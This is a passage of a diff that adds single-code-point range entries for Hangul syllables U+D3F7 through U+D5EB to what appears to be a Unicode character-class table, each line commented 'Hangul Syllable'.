+ ["\uD3F7", "\uD3F7"], /* Hangul Syllable */
+ ["\uD3F8", "\uD3F8"], /* Hangul Syllable */
+ ["\uD3F9", "\uD3F9"], /* Hangul Syllable */
+ ["\uD3FA", "\uD3FA"], /* Hangul Syllable */
+ ["\uD3FB", "\uD3FB"], /* Hangul Syllable */
+ ["\uD3FC", "\uD3FC"], /* Hangul Syllable */
+ ["\uD3FD", "\uD3FD"], /* Hangul Syllable */
+ ["\uD3FE", "\uD3FE"], /* Hangul Syllable */
+ ["\uD3FF", "\uD3FF"], /* Hangul Syllable */
+ ["\uD400", "\uD400"], /* Hangul Syllable */
+ ["\uD401", "\uD401"], /* Hangul Syllable */
+ ["\uD402", "\uD402"], /* Hangul Syllable */
+ ["\uD403", "\uD403"], /* Hangul Syllable */
+ ["\uD404", "\uD404"], /* Hangul Syllable */
+ ["\uD405", "\uD405"], /* Hangul Syllable */
+ ["\uD406", "\uD406"], /* Hangul Syllable */
+ ["\uD407", "\uD407"], /* Hangul Syllable */
+ ["\uD408", "\uD408"], /* Hangul Syllable */
+ ["\uD409", "\uD409"], /* Hangul Syllable */
+ ["\uD40A", "\uD40A"], /* Hangul Syllable */
+ ["\uD40B", "\uD40B"], /* Hangul Syllable */
+ ["\uD40C", "\uD40C"], /* Hangul Syllable */
+ ["\uD40D", "\uD40D"], /* Hangul Syllable */
+ ["\uD40E", "\uD40E"], /* Hangul Syllable */
+ ["\uD40F", "\uD40F"], /* Hangul Syllable */
+ ["\uD410", "\uD410"], /* Hangul Syllable */
+ ["\uD411", "\uD411"], /* Hangul Syllable */
+ ["\uD412", "\uD412"], /* Hangul Syllable */
+ ["\uD413", "\uD413"], /* Hangul Syllable */
+ ["\uD414", "\uD414"], /* Hangul Syllable */
+ ["\uD415", "\uD415"], /* Hangul Syllable */
+ ["\uD416", "\uD416"], /* Hangul Syllable */
+ ["\uD417", "\uD417"], /* Hangul Syllable */
+ ["\uD418", "\uD418"], /* Hangul Syllable */
+ ["\uD419", "\uD419"], /* Hangul Syllable */
+ ["\uD41A", "\uD41A"], /* Hangul Syllable */
+ ["\uD41B", "\uD41B"], /* Hangul Syllable */
+ ["\uD41C", "\uD41C"], /* Hangul Syllable */
+ ["\uD41D", "\uD41D"], /* Hangul Syllable */
+ ["\uD41E", "\uD41E"], /* Hangul Syllable */
+ ["\uD41F", "\uD41F"], /* Hangul Syllable */
+ ["\uD420", "\uD420"], /* Hangul Syllable */
+ ["\uD421", "\uD421"], /* Hangul Syllable */
+ ["\uD422", "\uD422"], /* Hangul Syllable */
+ ["\uD423", "\uD423"], /* Hangul Syllable */
+ ["\uD424", "\uD424"], /* Hangul Syllable */
+ ["\uD425", "\uD425"], /* Hangul Syllable */
+ ["\uD426", "\uD426"], /* Hangul Syllable */
+ ["\uD427", "\uD427"], /* Hangul Syllable */
+ ["\uD428", "\uD428"], /* Hangul Syllable */
+ ["\uD429", "\uD429"], /* Hangul Syllable */
+ ["\uD42A", "\uD42A"], /* Hangul Syllable */
+ ["\uD42B", "\uD42B"], /* Hangul Syllable */
+ ["\uD42C", "\uD42C"], /* Hangul Syllable */
+ ["\uD42D", "\uD42D"], /* Hangul Syllable */
+ ["\uD42E", "\uD42E"], /* Hangul Syllable */
+ ["\uD42F", "\uD42F"], /* Hangul Syllable */
+ ["\uD430", "\uD430"], /* Hangul Syllable */
+ ["\uD431", "\uD431"], /* Hangul Syllable */
+ ["\uD432", "\uD432"], /* Hangul Syllable */
+ ["\uD433", "\uD433"], /* Hangul Syllable */
+ ["\uD434", "\uD434"], /* Hangul Syllable */
+ ["\uD435", "\uD435"], /* Hangul Syllable */
+ ["\uD436", "\uD436"], /* Hangul Syllable */
+ ["\uD437", "\uD437"], /* Hangul Syllable */
+ ["\uD438", "\uD438"], /* Hangul Syllable */
+ ["\uD439", "\uD439"], /* Hangul Syllable */
+ ["\uD43A", "\uD43A"], /* Hangul Syllable */
+ ["\uD43B", "\uD43B"], /* Hangul Syllable */
+ ["\uD43C", "\uD43C"], /* Hangul Syllable */
+ ["\uD43D", "\uD43D"], /* Hangul Syllable */
+ ["\uD43E", "\uD43E"], /* Hangul Syllable */
+ ["\uD43F", "\uD43F"], /* Hangul Syllable */
+ ["\uD440", "\uD440"], /* Hangul Syllable */
+ ["\uD441", "\uD441"], /* Hangul Syllable */
+ ["\uD442", "\uD442"], /* Hangul Syllable */
+ ["\uD443", "\uD443"], /* Hangul Syllable */
+ ["\uD444", "\uD444"], /* Hangul Syllable */
+ ["\uD445", "\uD445"], /* Hangul Syllable */
+ ["\uD446", "\uD446"], /* Hangul Syllable */
+ ["\uD447", "\uD447"], /* Hangul Syllable */
+ ["\uD448", "\uD448"], /* Hangul Syllable */
+ ["\uD449", "\uD449"], /* Hangul Syllable */
+ ["\uD44A", "\uD44A"], /* Hangul Syllable */
+ ["\uD44B", "\uD44B"], /* Hangul Syllable */
+ ["\uD44C", "\uD44C"], /* Hangul Syllable */
+ ["\uD44D", "\uD44D"], /* Hangul Syllable */
+ ["\uD44E", "\uD44E"], /* Hangul Syllable */
+ ["\uD44F", "\uD44F"], /* Hangul Syllable */
+ ["\uD450", "\uD450"], /* Hangul Syllable */
+ ["\uD451", "\uD451"], /* Hangul Syllable */
+ ["\uD452", "\uD452"], /* Hangul Syllable */
+ ["\uD453", "\uD453"], /* Hangul Syllable */
+ ["\uD454", "\uD454"], /* Hangul Syllable */
+ ["\uD455", "\uD455"], /* Hangul Syllable */
+ ["\uD456", "\uD456"], /* Hangul Syllable */
+ ["\uD457", "\uD457"], /* Hangul Syllable */
+ ["\uD458", "\uD458"], /* Hangul Syllable */
+ ["\uD459", "\uD459"], /* Hangul Syllable */
+ ["\uD45A", "\uD45A"], /* Hangul Syllable */
+ ["\uD45B", "\uD45B"], /* Hangul Syllable */
+ ["\uD45C", "\uD45C"], /* Hangul Syllable */
+ ["\uD45D", "\uD45D"], /* Hangul Syllable */
+ ["\uD45E", "\uD45E"], /* Hangul Syllable */
+ ["\uD45F", "\uD45F"], /* Hangul Syllable */
+ ["\uD460", "\uD460"], /* Hangul Syllable */
+ ["\uD461", "\uD461"], /* Hangul Syllable */
+ ["\uD462", "\uD462"], /* Hangul Syllable */
+ ["\uD463", "\uD463"], /* Hangul Syllable */
+ ["\uD464", "\uD464"], /* Hangul Syllable */
+ ["\uD465", "\uD465"], /* Hangul Syllable */
+ ["\uD466", "\uD466"], /* Hangul Syllable */
+ ["\uD467", "\uD467"], /* Hangul Syllable */
+ ["\uD468", "\uD468"], /* Hangul Syllable */
+ ["\uD469", "\uD469"], /* Hangul Syllable */
+ ["\uD46A", "\uD46A"], /* Hangul Syllable */
+ ["\uD46B", "\uD46B"], /* Hangul Syllable */
+ ["\uD46C", "\uD46C"], /* Hangul Syllable */
+ ["\uD46D", "\uD46D"], /* Hangul Syllable */
+ ["\uD46E", "\uD46E"], /* Hangul Syllable */
+ ["\uD46F", "\uD46F"], /* Hangul Syllable */
+ ["\uD470", "\uD470"], /* Hangul Syllable */
+ ["\uD471", "\uD471"], /* Hangul Syllable */
+ ["\uD472", "\uD472"], /* Hangul Syllable */
+ ["\uD473", "\uD473"], /* Hangul Syllable */
+ ["\uD474", "\uD474"], /* Hangul Syllable */
+ ["\uD475", "\uD475"], /* Hangul Syllable */
+ ["\uD476", "\uD476"], /* Hangul Syllable */
+ ["\uD477", "\uD477"], /* Hangul Syllable */
+ ["\uD478", "\uD478"], /* Hangul Syllable */
+ ["\uD479", "\uD479"], /* Hangul Syllable */
+ ["\uD47A", "\uD47A"], /* Hangul Syllable */
+ ["\uD47B", "\uD47B"], /* Hangul Syllable */
+ ["\uD47C", "\uD47C"], /* Hangul Syllable */
+ ["\uD47D", "\uD47D"], /* Hangul Syllable */
+ ["\uD47E", "\uD47E"], /* Hangul Syllable */
+ ["\uD47F", "\uD47F"], /* Hangul Syllable */
+ ["\uD480", "\uD480"], /* Hangul Syllable */
+ ["\uD481", "\uD481"], /* Hangul Syllable */
+ ["\uD482", "\uD482"], /* Hangul Syllable */
+ ["\uD483", "\uD483"], /* Hangul Syllable */
+ ["\uD484", "\uD484"], /* Hangul Syllable */
+ ["\uD485", "\uD485"], /* Hangul Syllable */
+ ["\uD486", "\uD486"], /* Hangul Syllable */
+ ["\uD487", "\uD487"], /* Hangul Syllable */
+ ["\uD488", "\uD488"], /* Hangul Syllable */
+ ["\uD489", "\uD489"], /* Hangul Syllable */
+ ["\uD48A", "\uD48A"], /* Hangul Syllable */
+ ["\uD48B", "\uD48B"], /* Hangul Syllable */
+ ["\uD48C", "\uD48C"], /* Hangul Syllable */
+ ["\uD48D", "\uD48D"], /* Hangul Syllable */
+ ["\uD48E", "\uD48E"], /* Hangul Syllable */
+ ["\uD48F", "\uD48F"], /* Hangul Syllable */
+ ["\uD490", "\uD490"], /* Hangul Syllable */
+ ["\uD491", "\uD491"], /* Hangul Syllable */
+ ["\uD492", "\uD492"], /* Hangul Syllable */
+ ["\uD493", "\uD493"], /* Hangul Syllable */
+ ["\uD494", "\uD494"], /* Hangul Syllable */
+ ["\uD495", "\uD495"], /* Hangul Syllable */
+ ["\uD496", "\uD496"], /* Hangul Syllable */
+ ["\uD497", "\uD497"], /* Hangul Syllable */
+ ["\uD498", "\uD498"], /* Hangul Syllable */
+ ["\uD499", "\uD499"], /* Hangul Syllable */
+ ["\uD49A", "\uD49A"], /* Hangul Syllable */
+ ["\uD49B", "\uD49B"], /* Hangul Syllable */
+ ["\uD49C", "\uD49C"], /* Hangul Syllable */
+ ["\uD49D", "\uD49D"], /* Hangul Syllable */
+ ["\uD49E", "\uD49E"], /* Hangul Syllable */
+ ["\uD49F", "\uD49F"], /* Hangul Syllable */
+ ["\uD4A0", "\uD4A0"], /* Hangul Syllable */
+ ["\uD4A1", "\uD4A1"], /* Hangul Syllable */
+ ["\uD4A2", "\uD4A2"], /* Hangul Syllable */
+ ["\uD4A3", "\uD4A3"], /* Hangul Syllable */
+ ["\uD4A4", "\uD4A4"], /* Hangul Syllable */
+ ["\uD4A5", "\uD4A5"], /* Hangul Syllable */
+ ["\uD4A6", "\uD4A6"], /* Hangul Syllable */
+ ["\uD4A7", "\uD4A7"], /* Hangul Syllable */
+ ["\uD4A8", "\uD4A8"], /* Hangul Syllable */
+ ["\uD4A9", "\uD4A9"], /* Hangul Syllable */
+ ["\uD4AA", "\uD4AA"], /* Hangul Syllable */
+ ["\uD4AB", "\uD4AB"], /* Hangul Syllable */
+ ["\uD4AC", "\uD4AC"], /* Hangul Syllable */
+ ["\uD4AD", "\uD4AD"], /* Hangul Syllable */
+ ["\uD4AE", "\uD4AE"], /* Hangul Syllable */
+ ["\uD4AF", "\uD4AF"], /* Hangul Syllable */
+ ["\uD4B0", "\uD4B0"], /* Hangul Syllable */
+ ["\uD4B1", "\uD4B1"], /* Hangul Syllable */
+ ["\uD4B2", "\uD4B2"], /* Hangul Syllable */
+ ["\uD4B3", "\uD4B3"], /* Hangul Syllable */
+ ["\uD4B4", "\uD4B4"], /* Hangul Syllable */
+ ["\uD4B5", "\uD4B5"], /* Hangul Syllable */
+ ["\uD4B6", "\uD4B6"], /* Hangul Syllable */
+ ["\uD4B7", "\uD4B7"], /* Hangul Syllable */
+ ["\uD4B8", "\uD4B8"], /* Hangul Syllable */
+ ["\uD4B9", "\uD4B9"], /* Hangul Syllable */
+ ["\uD4BA", "\uD4BA"], /* Hangul Syllable */
+ ["\uD4BB", "\uD4BB"], /* Hangul Syllable */
+ ["\uD4BC", "\uD4BC"], /* Hangul Syllable */
+ ["\uD4BD", "\uD4BD"], /* Hangul Syllable */
+ ["\uD4BE", "\uD4BE"], /* Hangul Syllable */
+ ["\uD4BF", "\uD4BF"], /* Hangul Syllable */
+ ["\uD4C0", "\uD4C0"], /* Hangul Syllable */
+ ["\uD4C1", "\uD4C1"], /* Hangul Syllable */
+ ["\uD4C2", "\uD4C2"], /* Hangul Syllable */
+ ["\uD4C3", "\uD4C3"], /* Hangul Syllable */
+ ["\uD4C4", "\uD4C4"], /* Hangul Syllable */
+ ["\uD4C5", "\uD4C5"], /* Hangul Syllable */
+ ["\uD4C6", "\uD4C6"], /* Hangul Syllable */
+ ["\uD4C7", "\uD4C7"], /* Hangul Syllable */
+ ["\uD4C8", "\uD4C8"], /* Hangul Syllable */
+ ["\uD4C9", "\uD4C9"], /* Hangul Syllable */
+ ["\uD4CA", "\uD4CA"], /* Hangul Syllable */
+ ["\uD4CB", "\uD4CB"], /* Hangul Syllable */
+ ["\uD4CC", "\uD4CC"], /* Hangul Syllable */
+ ["\uD4CD", "\uD4CD"], /* Hangul Syllable */
+ ["\uD4CE", "\uD4CE"], /* Hangul Syllable */
+ ["\uD4CF", "\uD4CF"], /* Hangul Syllable */
+ ["\uD4D0", "\uD4D0"], /* Hangul Syllable */
+ ["\uD4D1", "\uD4D1"], /* Hangul Syllable */
+ ["\uD4D2", "\uD4D2"], /* Hangul Syllable */
+ ["\uD4D3", "\uD4D3"], /* Hangul Syllable */
+ ["\uD4D4", "\uD4D4"], /* Hangul Syllable */
+ ["\uD4D5", "\uD4D5"], /* Hangul Syllable */
+ ["\uD4D6", "\uD4D6"], /* Hangul Syllable */
+ ["\uD4D7", "\uD4D7"], /* Hangul Syllable */
+ ["\uD4D8", "\uD4D8"], /* Hangul Syllable */
+ ["\uD4D9", "\uD4D9"], /* Hangul Syllable */
+ ["\uD4DA", "\uD4DA"], /* Hangul Syllable */
+ ["\uD4DB", "\uD4DB"], /* Hangul Syllable */
+ ["\uD4DC", "\uD4DC"], /* Hangul Syllable */
+ ["\uD4DD", "\uD4DD"], /* Hangul Syllable */
+ ["\uD4DE", "\uD4DE"], /* Hangul Syllable */
+ ["\uD4DF", "\uD4DF"], /* Hangul Syllable */
+ ["\uD4E0", "\uD4E0"], /* Hangul Syllable */
+ ["\uD4E1", "\uD4E1"], /* Hangul Syllable */
+ ["\uD4E2", "\uD4E2"], /* Hangul Syllable */
+ ["\uD4E3", "\uD4E3"], /* Hangul Syllable */
+ ["\uD4E4", "\uD4E4"], /* Hangul Syllable */
+ ["\uD4E5", "\uD4E5"], /* Hangul Syllable */
+ ["\uD4E6", "\uD4E6"], /* Hangul Syllable */
+ ["\uD4E7", "\uD4E7"], /* Hangul Syllable */
+ ["\uD4E8", "\uD4E8"], /* Hangul Syllable */
+ ["\uD4E9", "\uD4E9"], /* Hangul Syllable */
+ ["\uD4EA", "\uD4EA"], /* Hangul Syllable */
+ ["\uD4EB", "\uD4EB"], /* Hangul Syllable */
+ ["\uD4EC", "\uD4EC"], /* Hangul Syllable */
+ ["\uD4ED", "\uD4ED"], /* Hangul Syllable */
+ ["\uD4EE", "\uD4EE"], /* Hangul Syllable */
+ ["\uD4EF", "\uD4EF"], /* Hangul Syllable */
+ ["\uD4F0", "\uD4F0"], /* Hangul Syllable */
+ ["\uD4F1", "\uD4F1"], /* Hangul Syllable */
+ ["\uD4F2", "\uD4F2"], /* Hangul Syllable */
+ ["\uD4F3", "\uD4F3"], /* Hangul Syllable */
+ ["\uD4F4", "\uD4F4"], /* Hangul Syllable */
+ ["\uD4F5", "\uD4F5"], /* Hangul Syllable */
+ ["\uD4F6", "\uD4F6"], /* Hangul Syllable */
+ ["\uD4F7", "\uD4F7"], /* Hangul Syllable */
+ ["\uD4F8", "\uD4F8"], /* Hangul Syllable */
+ ["\uD4F9", "\uD4F9"], /* Hangul Syllable */
+ ["\uD4FA", "\uD4FA"], /* Hangul Syllable */
+ ["\uD4FB", "\uD4FB"], /* Hangul Syllable */
+ ["\uD4FC", "\uD4FC"], /* Hangul Syllable */
+ ["\uD4FD", "\uD4FD"], /* Hangul Syllable */
+ ["\uD4FE", "\uD4FE"], /* Hangul Syllable */
+ ["\uD4FF", "\uD4FF"], /* Hangul Syllable */
+ ["\uD500", "\uD500"], /* Hangul Syllable */
+ ["\uD501", "\uD501"], /* Hangul Syllable */
+ ["\uD502", "\uD502"], /* Hangul Syllable */
+ ["\uD503", "\uD503"], /* Hangul Syllable */
+ ["\uD504", "\uD504"], /* Hangul Syllable */
+ ["\uD505", "\uD505"], /* Hangul Syllable */
+ ["\uD506", "\uD506"], /* Hangul Syllable */
+ ["\uD507", "\uD507"], /* Hangul Syllable */
+ ["\uD508", "\uD508"], /* Hangul Syllable */
+ ["\uD509", "\uD509"], /* Hangul Syllable */
+ ["\uD50A", "\uD50A"], /* Hangul Syllable */
+ ["\uD50B", "\uD50B"], /* Hangul Syllable */
+ ["\uD50C", "\uD50C"], /* Hangul Syllable */
+ ["\uD50D", "\uD50D"], /* Hangul Syllable */
+ ["\uD50E", "\uD50E"], /* Hangul Syllable */
+ ["\uD50F", "\uD50F"], /* Hangul Syllable */
+ ["\uD510", "\uD510"], /* Hangul Syllable */
+ ["\uD511", "\uD511"], /* Hangul Syllable */
+ ["\uD512", "\uD512"], /* Hangul Syllable */
+ ["\uD513", "\uD513"], /* Hangul Syllable */
+ ["\uD514", "\uD514"], /* Hangul Syllable */
+ ["\uD515", "\uD515"], /* Hangul Syllable */
+ ["\uD516", "\uD516"], /* Hangul Syllable */
+ ["\uD517", "\uD517"], /* Hangul Syllable */
+ ["\uD518", "\uD518"], /* Hangul Syllable */
+ ["\uD519", "\uD519"], /* Hangul Syllable */
+ ["\uD51A", "\uD51A"], /* Hangul Syllable */
+ ["\uD51B", "\uD51B"], /* Hangul Syllable */
+ ["\uD51C", "\uD51C"], /* Hangul Syllable */
+ ["\uD51D", "\uD51D"], /* Hangul Syllable */
+ ["\uD51E", "\uD51E"], /* Hangul Syllable */
+ ["\uD51F", "\uD51F"], /* Hangul Syllable */
+ ["\uD520", "\uD520"], /* Hangul Syllable */
+ ["\uD521", "\uD521"], /* Hangul Syllable */
+ ["\uD522", "\uD522"], /* Hangul Syllable */
+ ["\uD523", "\uD523"], /* Hangul Syllable */
+ ["\uD524", "\uD524"], /* Hangul Syllable */
+ ["\uD525", "\uD525"], /* Hangul Syllable */
+ ["\uD526", "\uD526"], /* Hangul Syllable */
+ ["\uD527", "\uD527"], /* Hangul Syllable */
+ ["\uD528", "\uD528"], /* Hangul Syllable */
+ ["\uD529", "\uD529"], /* Hangul Syllable */
+ ["\uD52A", "\uD52A"], /* Hangul Syllable */
+ ["\uD52B", "\uD52B"], /* Hangul Syllable */
+ ["\uD52C", "\uD52C"], /* Hangul Syllable */
+ ["\uD52D", "\uD52D"], /* Hangul Syllable */
+ ["\uD52E", "\uD52E"], /* Hangul Syllable */
+ ["\uD52F", "\uD52F"], /* Hangul Syllable */
+ ["\uD530", "\uD530"], /* Hangul Syllable */
+ ["\uD531", "\uD531"], /* Hangul Syllable */
+ ["\uD532", "\uD532"], /* Hangul Syllable */
+ ["\uD533", "\uD533"], /* Hangul Syllable */
+ ["\uD534", "\uD534"], /* Hangul Syllable */
+ ["\uD535", "\uD535"], /* Hangul Syllable */
+ ["\uD536", "\uD536"], /* Hangul Syllable */
+ ["\uD537", "\uD537"], /* Hangul Syllable */
+ ["\uD538", "\uD538"], /* Hangul Syllable */
+ ["\uD539", "\uD539"], /* Hangul Syllable */
+ ["\uD53A", "\uD53A"], /* Hangul Syllable */
+ ["\uD53B", "\uD53B"], /* Hangul Syllable */
+ ["\uD53C", "\uD53C"], /* Hangul Syllable */
+ ["\uD53D", "\uD53D"], /* Hangul Syllable */
+ ["\uD53E", "\uD53E"], /* Hangul Syllable */
+ ["\uD53F", "\uD53F"], /* Hangul Syllable */
+ ["\uD540", "\uD540"], /* Hangul Syllable */
+ ["\uD541", "\uD541"], /* Hangul Syllable */
+ ["\uD542", "\uD542"], /* Hangul Syllable */
+ ["\uD543", "\uD543"], /* Hangul Syllable */
+ ["\uD544", "\uD544"], /* Hangul Syllable */
+ ["\uD545", "\uD545"], /* Hangul Syllable */
+ ["\uD546", "\uD546"], /* Hangul Syllable */
+ ["\uD547", "\uD547"], /* Hangul Syllable */
+ ["\uD548", "\uD548"], /* Hangul Syllable */
+ ["\uD549", "\uD549"], /* Hangul Syllable */
+ ["\uD54A", "\uD54A"], /* Hangul Syllable */
+ ["\uD54B", "\uD54B"], /* Hangul Syllable */
+ ["\uD54C", "\uD54C"], /* Hangul Syllable */
+ ["\uD54D", "\uD54D"], /* Hangul Syllable */
+ ["\uD54E", "\uD54E"], /* Hangul Syllable */
+ ["\uD54F", "\uD54F"], /* Hangul Syllable */
+ ["\uD550", "\uD550"], /* Hangul Syllable */
+ ["\uD551", "\uD551"], /* Hangul Syllable */
+ ["\uD552", "\uD552"], /* Hangul Syllable */
+ ["\uD553", "\uD553"], /* Hangul Syllable */
+ ["\uD554", "\uD554"], /* Hangul Syllable */
+ ["\uD555", "\uD555"], /* Hangul Syllable */
+ ["\uD556", "\uD556"], /* Hangul Syllable */
+ ["\uD557", "\uD557"], /* Hangul Syllable */
+ ["\uD558", "\uD558"], /* Hangul Syllable */
+ ["\uD559", "\uD559"], /* Hangul Syllable */
+ ["\uD55A", "\uD55A"], /* Hangul Syllable */
+ ["\uD55B", "\uD55B"], /* Hangul Syllable */
+ ["\uD55C", "\uD55C"], /* Hangul Syllable */
+ ["\uD55D", "\uD55D"], /* Hangul Syllable */
+ ["\uD55E", "\uD55E"], /* Hangul Syllable */
+ ["\uD55F", "\uD55F"], /* Hangul Syllable */
+ ["\uD560", "\uD560"], /* Hangul Syllable */
+ ["\uD561", "\uD561"], /* Hangul Syllable */
+ ["\uD562", "\uD562"], /* Hangul Syllable */
+ ["\uD563", "\uD563"], /* Hangul Syllable */
+ ["\uD564", "\uD564"], /* Hangul Syllable */
+ ["\uD565", "\uD565"], /* Hangul Syllable */
+ ["\uD566", "\uD566"], /* Hangul Syllable */
+ ["\uD567", "\uD567"], /* Hangul Syllable */
+ ["\uD568", "\uD568"], /* Hangul Syllable */
+ ["\uD569", "\uD569"], /* Hangul Syllable */
+ ["\uD56A", "\uD56A"], /* Hangul Syllable */
+ ["\uD56B", "\uD56B"], /* Hangul Syllable */
+ ["\uD56C", "\uD56C"], /* Hangul Syllable */
+ ["\uD56D", "\uD56D"], /* Hangul Syllable */
+ ["\uD56E", "\uD56E"], /* Hangul Syllable */
+ ["\uD56F", "\uD56F"], /* Hangul Syllable */
+ ["\uD570", "\uD570"], /* Hangul Syllable */
+ ["\uD571", "\uD571"], /* Hangul Syllable */
+ ["\uD572", "\uD572"], /* Hangul Syllable */
+ ["\uD573", "\uD573"], /* Hangul Syllable */
+ ["\uD574", "\uD574"], /* Hangul Syllable */
+ ["\uD575", "\uD575"], /* Hangul Syllable */
+ ["\uD576", "\uD576"], /* Hangul Syllable */
+ ["\uD577", "\uD577"], /* Hangul Syllable */
+ ["\uD578", "\uD578"], /* Hangul Syllable */
+ ["\uD579", "\uD579"], /* Hangul Syllable */
+ ["\uD57A", "\uD57A"], /* Hangul Syllable */
+ ["\uD57B", "\uD57B"], /* Hangul Syllable */
+ ["\uD57C", "\uD57C"], /* Hangul Syllable */
+ ["\uD57D", "\uD57D"], /* Hangul Syllable */
+ ["\uD57E", "\uD57E"], /* Hangul Syllable */
+ ["\uD57F", "\uD57F"], /* Hangul Syllable */
+ ["\uD580", "\uD580"], /* Hangul Syllable */
+ ["\uD581", "\uD581"], /* Hangul Syllable */
+ ["\uD582", "\uD582"], /* Hangul Syllable */
+ ["\uD583", "\uD583"], /* Hangul Syllable */
+ ["\uD584", "\uD584"], /* Hangul Syllable */
+ ["\uD585", "\uD585"], /* Hangul Syllable */
+ ["\uD586", "\uD586"], /* Hangul Syllable */
+ ["\uD587", "\uD587"], /* Hangul Syllable */
+ ["\uD588", "\uD588"], /* Hangul Syllable */
+ ["\uD589", "\uD589"], /* Hangul Syllable */
+ ["\uD58A", "\uD58A"], /* Hangul Syllable */
+ ["\uD58B", "\uD58B"], /* Hangul Syllable */
+ ["\uD58C", "\uD58C"], /* Hangul Syllable */
+ ["\uD58D", "\uD58D"], /* Hangul Syllable */
+ ["\uD58E", "\uD58E"], /* Hangul Syllable */
+ ["\uD58F", "\uD58F"], /* Hangul Syllable */
+ ["\uD590", "\uD590"], /* Hangul Syllable */
+ ["\uD591", "\uD591"], /* Hangul Syllable */
+ ["\uD592", "\uD592"], /* Hangul Syllable */
+ ["\uD593", "\uD593"], /* Hangul Syllable */
+ ["\uD594", "\uD594"], /* Hangul Syllable */
+ ["\uD595", "\uD595"], /* Hangul Syllable */
+ ["\uD596", "\uD596"], /* Hangul Syllable */
+ ["\uD597", "\uD597"], /* Hangul Syllable */
+ ["\uD598", "\uD598"], /* Hangul Syllable */
+ ["\uD599", "\uD599"], /* Hangul Syllable */
+ ["\uD59A", "\uD59A"], /* Hangul Syllable */
+ ["\uD59B", "\uD59B"], /* Hangul Syllable */
+ ["\uD59C", "\uD59C"], /* Hangul Syllable */
+ ["\uD59D", "\uD59D"], /* Hangul Syllable */
+ ["\uD59E", "\uD59E"], /* Hangul Syllable */
+ ["\uD59F", "\uD59F"], /* Hangul Syllable */
+ ["\uD5A0", "\uD5A0"], /* Hangul Syllable */
+ ["\uD5A1", "\uD5A1"], /* Hangul Syllable */
+ ["\uD5A2", "\uD5A2"], /* Hangul Syllable */
+ ["\uD5A3", "\uD5A3"], /* Hangul Syllable */
+ ["\uD5A4", "\uD5A4"], /* Hangul Syllable */
+ ["\uD5A5", "\uD5A5"], /* Hangul Syllable */
+ ["\uD5A6", "\uD5A6"], /* Hangul Syllable */
+ ["\uD5A7", "\uD5A7"], /* Hangul Syllable */
+ ["\uD5A8", "\uD5A8"], /* Hangul Syllable */
+ ["\uD5A9", "\uD5A9"], /* Hangul Syllable */
+ ["\uD5AA", "\uD5AA"], /* Hangul Syllable */
+ ["\uD5AB", "\uD5AB"], /* Hangul Syllable */
+ ["\uD5AC", "\uD5AC"], /* Hangul Syllable */
+ ["\uD5AD", "\uD5AD"], /* Hangul Syllable */
+ ["\uD5AE", "\uD5AE"], /* Hangul Syllable */
+ ["\uD5AF", "\uD5AF"], /* Hangul Syllable */
+ ["\uD5B0", "\uD5B0"], /* Hangul Syllable */
+ ["\uD5B1", "\uD5B1"], /* Hangul Syllable */
+ ["\uD5B2", "\uD5B2"], /* Hangul Syllable */
+ ["\uD5B3", "\uD5B3"], /* Hangul Syllable */
+ ["\uD5B4", "\uD5B4"], /* Hangul Syllable */
+ ["\uD5B5", "\uD5B5"], /* Hangul Syllable */
+ ["\uD5B6", "\uD5B6"], /* Hangul Syllable */
+ ["\uD5B7", "\uD5B7"], /* Hangul Syllable */
+ ["\uD5B8", "\uD5B8"], /* Hangul Syllable */
+ ["\uD5B9", "\uD5B9"], /* Hangul Syllable */
+ ["\uD5BA", "\uD5BA"], /* Hangul Syllable */
+ ["\uD5BB", "\uD5BB"], /* Hangul Syllable */
+ ["\uD5BC", "\uD5BC"], /* Hangul Syllable */
+ ["\uD5BD", "\uD5BD"], /* Hangul Syllable */
+ ["\uD5BE", "\uD5BE"], /* Hangul Syllable */
+ ["\uD5BF", "\uD5BF"], /* Hangul Syllable */
+ ["\uD5C0", "\uD5C0"], /* Hangul Syllable */
+ ["\uD5C1", "\uD5C1"], /* Hangul Syllable */
+ ["\uD5C2", "\uD5C2"], /* Hangul Syllable */
+ ["\uD5C3", "\uD5C3"], /* Hangul Syllable */
+ ["\uD5C4", "\uD5C4"], /* Hangul Syllable */
+ ["\uD5C5", "\uD5C5"], /* Hangul Syllable */
+ ["\uD5C6", "\uD5C6"], /* Hangul Syllable */
+ ["\uD5C7", "\uD5C7"], /* Hangul Syllable */
+ ["\uD5C8", "\uD5C8"], /* Hangul Syllable */
+ ["\uD5C9", "\uD5C9"], /* Hangul Syllable */
+ ["\uD5CA", "\uD5CA"], /* Hangul Syllable */
+ ["\uD5CB", "\uD5CB"], /* Hangul Syllable */
+ ["\uD5CC", "\uD5CC"], /* Hangul Syllable */
+ ["\uD5CD", "\uD5CD"], /* Hangul Syllable */
+ ["\uD5CE", "\uD5CE"], /* Hangul Syllable */
+ ["\uD5CF", "\uD5CF"], /* Hangul Syllable */
+ ["\uD5D0", "\uD5D0"], /* Hangul Syllable */
+ ["\uD5D1", "\uD5D1"], /* Hangul Syllable */
+ ["\uD5D2", "\uD5D2"], /* Hangul Syllable */
+ ["\uD5D3", "\uD5D3"], /* Hangul Syllable */
+ ["\uD5D4", "\uD5D4"], /* Hangul Syllable */
+ ["\uD5D5", "\uD5D5"], /* Hangul Syllable */
+ ["\uD5D6", "\uD5D6"], /* Hangul Syllable */
+ ["\uD5D7", "\uD5D7"], /* Hangul Syllable */
+ ["\uD5D8", "\uD5D8"], /* Hangul Syllable */
+ ["\uD5D9", "\uD5D9"], /* Hangul Syllable */
+ ["\uD5DA", "\uD5DA"], /* Hangul Syllable */
+ ["\uD5DB", "\uD5DB"], /* Hangul Syllable */
+ ["\uD5DC", "\uD5DC"], /* Hangul Syllable */
+ ["\uD5DD", "\uD5DD"], /* Hangul Syllable */
+ ["\uD5DE", "\uD5DE"], /* Hangul Syllable */
+ ["\uD5DF", "\uD5DF"], /* Hangul Syllable */
+ ["\uD5E0", "\uD5E0"], /* Hangul Syllable */
+ ["\uD5E1", "\uD5E1"], /* Hangul Syllable */
+ ["\uD5E2", "\uD5E2"], /* Hangul Syllable */
+ ["\uD5E3", "\uD5E3"], /* Hangul Syllable */
+ ["\uD5E4", "\uD5E4"], /* Hangul Syllable */
+ ["\uD5E5", "\uD5E5"], /* Hangul Syllable */
+ ["\uD5E6", "\uD5E6"], /* Hangul Syllable */
+ ["\uD5E7", "\uD5E7"], /* Hangul Syllable */
+ ["\uD5E8", "\uD5E8"], /* Hangul Syllable */
+ ["\uD5E9", "\uD5E9"], /* Hangul Syllable */
+ ["\uD5EA", "\uD5EA"], /* Hangul Syllable */
+ ["\uD5EB", "\uD5EB"], /* Hangul Syllable */
